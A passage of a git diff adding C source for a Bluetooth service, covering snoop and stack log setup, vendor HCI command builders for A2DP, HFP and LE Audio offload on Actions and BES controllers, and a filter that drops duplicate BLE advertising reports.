(property_get_binary(PERSIST_BT_SNOOP_FILE_PATH, path, sizeof(path) - 1) <= 0) { + strlcpy(path, CONFIG_BLUETOOTH_SNOOP_LOG_DEFAULT_PATH, SNOOP_PATH_MAX_LEN); + } + /** snoop log init */ + if (btsnoop_log_init(path) != BT_STATUS_SUCCESS) + syslog(LOG_ERR, "init snoop log fail\n"); + + g_logger.snoop_enable = property_get_int32(PERSIST_BT_SNOOP_LOG_EN, 0); + if (g_logger.snoop_enable) { + if (btsnoop_log_enable() != BT_STATUS_SUCCESS) + syslog(LOG_ERR, "%s\n", "enable snoop log fail"); + } + + /** start log property monitor */ + property_set_int32(PERSIST_BT_LOG_CHANGED, 0); + g_logger.monitor_fd = property_monitor_open(PERSIST_BT_LOG_CHANGED); + if (g_logger.monitor_fd < 0) { + syslog(LOG_ERR, "propert monitor open fail: %d\n", errno); + return; + } + + g_logger.poll = service_loop_poll_fd(g_logger.monitor_fd, POLL_READABLE, property_monitor_cb, NULL); + if (g_logger.poll == NULL) + syslog(LOG_ERR, "%s\n", "propert monitor poll error"); + + syslog(1, "Framework log level: %d, Stack:%d, mask:%08x, Snoop: %d\n", g_logger.framework_level, + g_logger.stack_enable, g_logger.stack_mask, g_logger.snoop_enable); +#else +#endif +} + +void bt_log_server_cleanup(void) +{ + /** stop log property monitor */ + service_loop_remove_poll(g_logger.poll); + g_logger.poll = NULL; + if (g_logger.monitor_fd) + property_monitor_close(g_logger.monitor_fd); + + g_logger.monitor_fd = -1; + + /** snoop log deinit */ + if (g_logger.snoop_enable) + btsnoop_log_disable(); + + btsnoop_log_uninit(); + + /** stack log deinit */ + if (g_logger.stack_enable) + bt_sal_debug_disable(); + bt_sal_debug_cleanup(); +} + +bool bt_log_print_check(uint8_t level) +{ + if (g_logger.framework_level < level || g_logger.framework_level == BT_LOG_LEVEL_OFF) + return false; + + return true; +} \ No newline at end of file diff --git a/service/vendor/bt_vendor.c b/service/vendor/bt_vendor.c new file mode 100644 index 0000000000000000000000000000000000000000..071ecaff122148b4caf23a0c5fbe8403ad8300eb --- /dev/null +++ b/service/vendor/bt_vendor.c @@ -0,0 +1,129 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bt_vendor.h" + +#ifdef CONFIG_BLUETOOTH_VENDOR_BES +#include "bt_vendor_bes.h" +#endif + +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS +#include "bt_vendor_actions.h" +#endif + +bool a2dp_offload_start_builder(a2dp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS + return actions_a2dp_offload_start_builder(config, offload, size); +#else + return false; +#endif +} + +bool a2dp_offload_stop_builder(a2dp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS + return actions_a2dp_offload_stop_builder(config, offload, size); +#else + return false; +#endif +} + +bool hfp_offload_start_builder(hfp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS + return actions_hfp_offload_start_builder(config, offload, size); +#else + return false; +#endif +} + +bool hfp_offload_stop_builder(hfp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS + return actions_hfp_offload_stop_builder(config, offload, size); +#else + return false; +#endif +} + +bool lea_offload_start_builder(lea_offload_config_t* config, + uint8_t* offload, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS + return actions_lea_offload_start_builder(config, offload, size); +#else + return false; +#endif +} + +bool lea_offload_stop_builder(lea_offload_config_t* config, + uint8_t* offload, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_ACTIONS + return actions_lea_offload_stop_builder(config, offload, size); +#else + return false; +#endif +} + +bool acl_bandwidth_config_builder(acl_bandwitdh_config_t* config, + uint8_t* cmd, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_BES + return bes_bandwidth_config_builder(config, cmd, size, true); +#else + return false; +#endif +} + +bool acl_bandwidth_deconfig_builder(acl_bandwitdh_config_t* config, + uint8_t* cmd, size_t* size) +{ +#ifdef CONFIG_BLUETOOTH_VENDOR_BES + return bes_bandwidth_config_builder(config, cmd, size, false); +#else + return false; +#endif +} + +bool le_dlf_enable_builder(le_dlf_config_t* config, + uint8_t* data, size_t* size) +{ +#if defined(CONFIG_BLUETOOTH_VENDOR_BES) + return bes_dlf_enable_command_builder(config, data, size); +#elif defined(CONFIG_BLUETOOTH_VENDOR_ACTIONS) + return actions_dlf_enable_command_builder(config, data, size); +#else + return false; +#endif +} + +bool le_dlf_disable_builder(le_dlf_config_t* config, + uint8_t* data, size_t* size) +{ +#if defined(CONFIG_BLUETOOTH_VENDOR_BES) + return bes_dlf_disable_command_builder(config, data, size); +#elif defined(CONFIG_BLUETOOTH_VENDOR_ACTIONS) + return actions_dlf_disable_command_builder(config, data, size); +#else + return false; +#endif +} diff --git a/service/vendor/bt_vendor.h b/service/vendor/bt_vendor.h new file mode 100644 index 0000000000000000000000000000000000000000..aa3698610644a97e18122d8aa700b7906b456efd --- /dev/null +++ b/service/vendor/bt_vendor.h @@ -0,0 +1,64 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_CONTROLLER_VENDOR_H__ +#define _BT_CONTROLLER_VENDOR_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +#include "bt_vendor_common.h" +#include "lea_audio_common.h" + +/**************************************************************************** + * Public Fucntion + ****************************************************************************/ + +bool a2dp_offload_start_builder(a2dp_offload_config_t* config, + uint8_t* offload, size_t* size); + +bool a2dp_offload_stop_builder(a2dp_offload_config_t* config, + uint8_t* offload, size_t* size); + +bool hfp_offload_start_builder(hfp_offload_config_t* config, + uint8_t* offload, size_t* size); + +bool hfp_offload_stop_builder(hfp_offload_config_t* config, + uint8_t* offload, size_t* size); + +bool lea_offload_start_builder(lea_offload_config_t* config, + uint8_t* offload, size_t* size); + +bool lea_offload_stop_builder(lea_offload_config_t* config, + uint8_t* offload, size_t* size); + +bool acl_bandwidth_config_builder(acl_bandwitdh_config_t* config, + uint8_t* cmd, size_t* size); + +bool acl_bandwidth_deconfig_builder(acl_bandwitdh_config_t* config, + uint8_t* cmd, size_t* size); + +bool le_dlf_enable_builder(le_dlf_config_t* config, + uint8_t* data, size_t* size); + +bool le_dlf_disable_builder(le_dlf_config_t* config, + uint8_t* data, size_t* size); + +#endif /* _BT_CONTROLLER_VENDOR_H__ */ diff --git a/service/vendor/bt_vendor_actions.h b/service/vendor/bt_vendor_actions.h new file mode 100644 index 0000000000000000000000000000000000000000..e2c1530044fe2e11bbefaad513735e8a09d63656 --- /dev/null +++ b/service/vendor/bt_vendor_actions.h @@ -0,0 +1,279 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_CONTROLLER_VENDOR_ACTIONS_H__ +#define _BT_CONTROLLER_VENDOR_ACTIONS_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <stdbool.h> + +#include "bt_utils.h" +#include "bt_vendor.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CONFIG_LEAS_CALL_SINK_SUPPORTED_SAMPLE_FREQUENCY (ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_8000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000) + +#define CONFIG_LEAS_CALL_SOURCE_SUPPORTED_SAMPLE_FREQUENCY (ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_8000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000) + +#define CONFIG_LEAS_MEDIA_SINK_SUPPORTED_SAMPLE_FREQUENCY (ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_32000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_48000) + +#define CONFIG_LEAS_CALL_SINK_METADATA_PREFER_CONTEX (ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL | ADPT_LEA_CONTEXT_TYPE_INSTRUCTIONAL | ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS | ADPT_LEA_CONTEXT_TYPE_SOUND_EFFECTS | ADPT_LEA_CONTEXT_TYPE_NOTIFICATIONS | ADPT_LEA_CONTEXT_TYPE_RINGTONE | ADPT_LEA_CONTEXT_TYPE_ALERTS | ADPT_LEA_CONTEXT_TYPE_EMERGENCY_ALARM) + +#define CONFIG_LEAS_CALL_SOURCE_METADATA_PREFER_CONTEX (ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL | ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS | ADPT_LEA_CONTEXT_TYPE_LIVE) + +#define CONFIG_LEAS_MEDIA_SINK_METADATA_PREFER_CONTEX (ADPT_LEA_CONTEXT_TYPE_MEDIA | ADPT_LEA_CONTEXT_TYPE_GAME | ADPT_LEA_CONTEXT_TYPE_LIVE) + +#define CONFIG_LEAS_PACS_FRAME_DURATION (ADPT_LEA_SUPPORTED_FRAME_DURATION_10 | ADPT_LEA_PREFERRED_FRAME_DURATION_10) + +#undef CONFIG_VSC_MAX_LEN +#define CONFIG_VSC_MAX_LEN 64 + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +enum { + LEA_CODEC_SINK, + LEA_CODEC_SOURCE, +}; + +static inline bool actions_a2dp_offload_start_builder(a2dp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ + uint8_t* param = offload; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x0000); // fill ocf + + UINT8_TO_STREAM(param, 0x03); // cmd + UINT8_TO_STREAM(param, 0x02); // offload start + UINT16_TO_STREAM(param, config->acl_hdl); // acl handle + UINT8_TO_STREAM(param, 0x03); // codec type + UINT16_TO_STREAM(param, config->l2c_rcid); // cid + UINT16_TO_STREAM(param, config->frame_sample); // frame sample + UINT16_TO_STREAM(param, 0x0000); // frame length, reserved + UINT16_TO_STREAM(param, config->mtu); // MTU + UINT8_TO_STREAM(param, 0x00); // Padding + UINT8_TO_STREAM(param, 0x00); // Extension + UINT8_TO_STREAM(param, 0x00); // Marker + UINT8_TO_STREAM(param, 0x60); // Payload Type + UINT8_TO_STREAM(param, 0x01); // SSRC + + *size = param - offload; + return true; +} + +static inline bool actions_a2dp_offload_stop_builder(a2dp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ + uint8_t* param = offload; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x0000); // fill ocf + + UINT8_TO_STREAM(param, 0x03); + UINT8_TO_STREAM(param, 0x03); // offload stop + + *size = param - offload; + return true; +} + +static inline bool actions_hfp_offload_start_builder(hfp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ + uint8_t* param = offload; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x0000); // fill ocf + + UINT8_TO_STREAM(param, 0x02); // cmd + UINT8_TO_STREAM(param, 0x00); // offload start + UINT16_TO_STREAM(param, config->sco_hdl); // sco handle + UINT8_TO_STREAM(param, config->sco_codec); // codec type + + *size = param - offload; + return true; +} + +static inline bool actions_hfp_offload_stop_builder(hfp_offload_config_t* config, + uint8_t* offload, size_t* size) +{ + uint8_t* param = offload; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x0000); // fill ocf + + UINT8_TO_STREAM(param, 0x02); // cmd + UINT8_TO_STREAM(param, 0x01); // offload stop + UINT16_TO_STREAM(param, config->sco_hdl); // sco handle + UINT8_TO_STREAM(param, config->sco_codec); // codec type + + *size = param - offload; + return true; +} + +static inline bool actions_lea_offload_start_builder(lea_offload_config_t* config, + uint8_t* offload, size_t* size) +{ + uint8_t* param = offload; + int stream_num; + int index; + + if (config->codec[LEA_CODEC_SOURCE].stream_num > config->codec[LEA_CODEC_SINK].stream_num) { + stream_num = config->codec[LEA_CODEC_SOURCE].stream_num; + } else { + stream_num = config->codec[LEA_CODEC_SINK].stream_num; + } + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x0000); // fill ocf + + UINT8_TO_STREAM(param, 0x04); // cmd + UINT8_TO_STREAM(param, 0x04); // offload start + UINT8_TO_STREAM(param, 0x01); // mono or stereo + UINT8_TO_STREAM(param, stream_num); // stream number + + for (index = 0; index < stream_num; index++) { + if (config->initiator) { + UINT8_TO_STREAM(param, 0x01); // todo: channel + if (config->codec[LEA_CODEC_SOURCE].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SOURCE].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + + if (config->codec[LEA_CODEC_SINK].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SINK].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + } else { + UINT8_TO_STREAM(param, 0x03); // todo: channel + if (config->codec[LEA_CODEC_SINK].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SINK].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + + if (config->codec[LEA_CODEC_SOURCE].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SOURCE].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + } + } + + *size = param - offload; + return true; +} + +static inline bool actions_lea_offload_stop_builder(lea_offload_config_t* config, + uint8_t* offload, size_t* size) +{ + uint8_t* param = offload; + int stream_num; + int index; + + if (config->codec[LEA_CODEC_SOURCE].stream_num > config->codec[LEA_CODEC_SINK].stream_num) { + stream_num = config->codec[LEA_CODEC_SOURCE].stream_num; + } else { + stream_num = config->codec[LEA_CODEC_SINK].stream_num; + } + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x0000); // fill ocf + + UINT8_TO_STREAM(param, 0x04); // cmd + UINT8_TO_STREAM(param, 0x05); // offload stop + UINT8_TO_STREAM(param, 0x01); // mono or stereo + UINT8_TO_STREAM(param, stream_num); // stream number + + for (index = 0; index < stream_num; index++) { + if (config->initiator) { + UINT8_TO_STREAM(param, 0x01); // todo: channel + if (config->codec[LEA_CODEC_SOURCE].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SOURCE].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + if (config->codec[LEA_CODEC_SINK].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SINK].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + } else { + UINT8_TO_STREAM(param, 0x03); // todo: channel + if (config->codec[LEA_CODEC_SINK].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SINK].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + + if (config->codec[LEA_CODEC_SOURCE].active) { + UINT16_TO_STREAM(param, config->codec[LEA_CODEC_SOURCE].streams_info[index].stream_handle); + } else { + UINT16_TO_STREAM(param, 0x0000); + } + } + } + *size = param - offload; + return true; +} + +static inline bool actions_dlf_enable_command_builder(le_dlf_config_t* config, uint8_t* data, size_t* size) +{ + uint8_t* param = data; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x00d7); // fill ocf + + // vendor specified fields + UINT8_TO_STREAM(param, 0x05); // data length + UINT8_TO_STREAM(param, 0x01); // subcode + UINT8_TO_STREAM(param, (uint8_t)config->connection_handle); + UINT8_TO_STREAM(param, 0x00); + UINT16_TO_STREAM(param, config->dlf_timeout); + + *size = param - data; + + return true; +} + +static inline bool actions_dlf_disable_command_builder(le_dlf_config_t* config, uint8_t* data, size_t* size) +{ + uint8_t* param = data; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x00d7); // fill ocf + + // vendor specified fields + UINT8_TO_STREAM(param, 0x05); // data length + UINT8_TO_STREAM(param, 0x01); // subcode + UINT8_TO_STREAM(param, (uint8_t)config->connection_handle); + UINT8_TO_STREAM(param, 0x01); + UINT16_TO_STREAM(param, 0x0000); + + *size = param - data; + + return true; +} + +#endif /* _BT_CONTROLLER_VENDOR_H__ */ diff --git a/service/vendor/bt_vendor_bes.h b/service/vendor/bt_vendor_bes.h new file mode 100644 index 0000000000000000000000000000000000000000..ff1d686ac652a47bad24b23b7d465923582ef777 --- /dev/null +++ b/service/vendor/bt_vendor_bes.h @@ -0,0 +1,98 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_CONTROLLER_VENDOR_BES_H__ +#define _BT_CONTROLLER_VENDOR_BES_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <stdbool.h> + +#include "bt_utils.h" +#include "bt_vendor.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#undef CONFIG_VSC_MAX_LEN +#define CONFIG_VSC_MAX_LEN 64 + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +static inline bool bes_bandwidth_config_builder(acl_bandwitdh_config_t* config, + uint8_t* cmd, size_t* size, bool enable) +{ + uint8_t* param = cmd; + + UINT8_TO_STREAM(param, 0x3F); /* OGF */ + UINT16_TO_STREAM(param, 0x00D7); /* OCF */ + + UINT8_TO_STREAM(param, 0x04); /* Len */ + UINT8_TO_STREAM(param, 0x02); /* Sub-opcode */ + if (enable) { + UINT8_TO_STREAM(param, 0x01); /* Start */ + } else { + UINT8_TO_STREAM(param, 0x00); /* Stop */ + } + UINT16_TO_STREAM(param, config->acl_hdl); /* Connection Handle */ + + *size = param - cmd; + return true; +} + +static inline bool bes_dlf_enable_command_builder(le_dlf_config_t* config, uint8_t* data, size_t* size) +{ + uint8_t* param = data; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x00d7); // fill ocf + + // vendor specified fields + UINT8_TO_STREAM(param, 0x05); // data length + UINT8_TO_STREAM(param, 0x01); // subcode + UINT8_TO_STREAM(param, (uint8_t)config->connection_handle); + UINT8_TO_STREAM(param, 0x00); + UINT16_TO_STREAM(param, config->dlf_timeout); + + *size = param - data; + + return true; +} + +static inline bool bes_dlf_disable_command_builder(le_dlf_config_t* config, uint8_t* data, size_t* size) +{ + uint8_t* param = data; + + UINT8_TO_STREAM(param, 0x3f); // fill ogf + UINT16_TO_STREAM(param, 0x00d7); // fill ocf + + // vendor specified fields + UINT8_TO_STREAM(param, 0x05); // data length + UINT8_TO_STREAM(param, 0x01); // subcode + UINT8_TO_STREAM(param, (uint8_t)config->connection_handle); + UINT8_TO_STREAM(param, 0x01); + UINT16_TO_STREAM(param, 0x0000); + + *size = param - data; + + return true; +} + +#endif /* _BT_CONTROLLER_VENDOR_BES_H__ */ diff --git a/service/vendor/bt_vendor_common.h b/service/vendor/bt_vendor_common.h new file mode 100644 index 0000000000000000000000000000000000000000..507ae147d4effa8e758aaa595aa783a79bc75910 --- /dev/null +++ b/service/vendor/bt_vendor_common.h @@ -0,0 +1,92 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_CONTROLLER_VENDOR_COMMON_H__ +#define _BT_CONTROLLER_VENDOR_COMMON_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +#include "lea_audio_common.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CONFIG_LEA_STREAM_MAX_NUM 4 +#define CONFIG_LEA_CODEC_MAX_NUM 2 +#define CONFIG_VSC_MAX_LEN 255 /* TODO: define by vendor */ +#define CONFIG_DLF_COMMAND_MAX_LEN 10 + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef struct { + uint8_t bits_per_sample; /* bits per sample ex: 16/24/32 */ + uint8_t ch_mode; /* None:0 Left:1 Right:2 */ + uint16_t frame_sample; /* frame sample*/ + uint16_t acl_hdl; /* connection handle */ + uint16_t l2c_rcid; /* l2cap channel id */ + uint16_t mtu; /* MTU size */ + uint16_t max_latency; /* maximum latency */ + uint32_t codec_type; /* codec types ex: SBC/AAC/LDAC/APTx */ + uint32_t sample_rate; /* Sample rates ex: 44.1/48/88.2/96 Khz */ + uint32_t encoded_audio_bitrate; /* encoder audio bitrates */ + uint8_t codec_info[32]; /* Codec specific information */ +} a2dp_offload_config_t; + +typedef struct __attribute__((packed)) { + uint16_t acl_hdl; /* connection handle */ + uint32_t bandwidth; /* bits per second */ +} acl_bandwitdh_config_t; + +typedef struct +{ + uint16_t sco_codec; + uint16_t sco_hdl; /* sco handle */ + bool is_controller_codec; /* bt controller encode/decode */ + bool is_nrec; +} hfp_offload_config_t; + +typedef struct { + bool active; + uint8_t bits_per_sample; + uint8_t stream_num; + uint8_t blocks_per_sdu; + uint16_t octets_per_frame; + uint16_t peer_delay_ms; + uint32_t sampling_rate; + uint32_t frame_duration; + lea_stream_info_t streams_info[CONFIG_LEA_STREAM_MAX_NUM]; +} lea_offload_codec_t; + +typedef struct { + bool initiator; + lea_offload_codec_t codec[CONFIG_LEA_CODEC_MAX_NUM]; +} lea_offload_config_t; + +typedef struct +{ + uint16_t connection_handle; + uint16_t dlf_timeout; +} le_dlf_config_t; + +#endif /* _BT_CONTROLLER_VENDOR_COMMON_H__ */ diff --git a/service/vhal/bt_hci_filter.c b/service/vhal/bt_hci_filter.c new file mode 100644 index 0000000000000000000000000000000000000000..750ae98b7bc22c76b590446de6ca459169d2cc70 --- /dev/null +++ b/service/vhal/bt_hci_filter.c @@ -0,0 +1,208 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bt_hci_filter.h" + +#include <debug.h> +#include <nuttx/wireless/bluetooth/bt_hci.h> +#include <nuttx/wireless/bluetooth/bt_ioctl.h> +#include <string.h> + +#include "bt_addr.h" +#include "bt_hash.h" +#include "utils/log.h" + +#ifndef CONFIG_BT_LE_ADV_REPORT_SIZE +#define CONFIG_BT_LE_ADV_REPORT_SIZE 300 +#endif +#define BT_HCI_OP_LE_SET_EXT_SCAN_ENABLE 0x2042 + +#ifndef ARRAY_SIZE +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) +#endif + +#undef BT_HCI_FILTER_LOG_ENABLE + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN_FILTER + +enum { + HCI_TYPE_COMMAND = 1, + HCI_TYPE_ACL = 2, + HCI_TYPE_SCO = 3, + HCI_TYPE_EVENT = 4, + HCI_TYPE_ISO_DATA = 5 +}; + +typedef struct __attribute__((packed)) { + uint16_t evt_type; + bt_addr_le_t addr; + uint8_t prim_phy; + uint8_t sec_phy; + uint8_t sid; + int8_t tx_power; + int8_t rssi; + uint16_t interval; + bt_addr_le_t direct_addr; + uint8_t length; + uint8_t data[0]; +} bt_hci_evt_le_ext_advertising_info_t; + +static uint32_t g_adv_htable[CONFIG_BT_LE_ADV_REPORT_SIZE]; + +static bool scan_hsearch_find(const void* keyarg, size_t len) +{ + uint32_t hash; + int i; + + hash = bt_hash4(keyarg, len); + for (i = 0; i < ARRAY_SIZE(g_adv_htable); i++) { + if (g_adv_htable[i] == hash) { + return true; + } + + if (g_adv_htable[i] == 0) { + break; + } + } + + return false; +} + +static void scan_hsearch_add(const void* keyarg, size_t len) +{ + uint32_t hash; + int i; + + hash = bt_hash4(keyarg, len); + for (i = 0; i < ARRAY_SIZE(g_adv_htable); i++) { + if (g_adv_htable[i] == 0) { + g_adv_htable[i] = hash; + break; + } + } +} + +static void scan_hsearch_free() +{ + BT_LOGD("%s", __func__); + memset(&g_adv_htable, 0, sizeof(g_adv_htable)); +} + +static bool le_adv_report_filter(uint8_t* data, uint32_t size) +{ + struct bt_hci_ev_le_advertising_report_s* info; +#ifdef BT_HCI_FILTER_LOG_ENABLE + bt_addr_le_t* addr; +#endif + void* adv_data; + uint8_t adv_len; + uint8_t num_reports = data[0]; + + data += sizeof(num_reports); + + if (num_reports > 1) { + BT_LOGE("%s, num_reports:%d", __func__, num_reports); + return false; + } + + info = (struct bt_hci_ev_le_advertising_report_s*)data; + adv_data = info->data; + adv_len = info->length; + +#ifdef BT_HCI_FILTER_LOG_ENABLE + addr = &info->addr; + lib_dumpbuffer("le_advdata:", adv_data, adv_len); +#endif + + if (scan_hsearch_find(adv_data, adv_len)) { +#ifdef BT_HCI_FILTER_LOG_ENABLE + BT_LOGD("scan_hsearch_find addr:%s", bt_addr_str((bt_address_t*)addr->val)); +#endif + return true; + } + + scan_hsearch_add(adv_data, adv_len); + return false; +} + +static bool le_ext_adv_report_filter(uint8_t* data, uint32_t size) +{ + bt_hci_evt_le_ext_advertising_info_t* info; +#ifdef BT_HCI_FILTER_LOG_ENABLE + bt_addr_le_t* addr; +#endif + void* adv_data; + uint8_t adv_len; + uint8_t num_reports = data[0]; + + data += sizeof(num_reports); + + if (num_reports > 1) { + BT_LOGE("%s, num_reports:%d", __func__, num_reports); + return false; + } + + info = (bt_hci_evt_le_ext_advertising_info_t*)data; + adv_data = info->data; + adv_len = info->length; + +#ifdef BT_HCI_FILTER_LOG_ENABLE + addr = &info->addr; + lib_dumpbuffer("leext_advdata:", adv_data, adv_len); +#endif + + if (scan_hsearch_find(adv_data, adv_len)) { +#ifdef BT_HCI_FILTER_LOG_ENABLE + BT_LOGD("scan_hsearch_find addr:%s", bt_addr_str((bt_address_t*)addr->val)); +#endif + return true; + } + + scan_hsearch_add(adv_data, adv_len); + return false; +} + +#endif /* CONFIG_BLUETOOTH_BLE_SCAN_FILTER */ + +bool bt_hci_filter_can_recv(uint8_t* value, uint32_t size) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN_FILTER + if (value[1] == BT_HCI_EVT_LE_META_EVENT && value[3] == BT_HCI_EVT_LE_ADVERTISING_REPORT) { + return le_adv_report_filter(value + 4, size - 4); + } else if (value[1] == BT_HCI_EVT_LE_META_EVENT && value[3] == BT_HCI_EVT_LE_EXT_ADVERTISING_REPORT) { + return le_ext_adv_report_filter(value + 4, size - 4); + } + + return false; +#else + return false; +#endif +} + +bool bt_hci_filter_can_send(uint8_t* value, uint32_t size) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN_FILTER + struct bt_hci_cmd_hdr_s* hdr = (struct bt_hci_cmd_hdr_s*)&value[1]; + + if (hdr->opcode == BT_HCI_OP_LE_SET_SCAN_ENABLE || hdr->opcode == BT_HCI_OP_LE_SET_EXT_SCAN_ENABLE) { + scan_hsearch_free(); + } + + return true; +#else + return true; +#endif +} \ No newline at end of file diff --git a/service/vhal/bt_hci_filter.h b/service/vhal/bt_hci_filter.h new file mode 100644 index 0000000000000000000000000000000000000000..6bd093d9b59990d1f0a0f458faf34460a83376c7 --- /dev/null +++ b/service/vhal/bt_hci_filter.h @@ -0,0 +1,26 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the 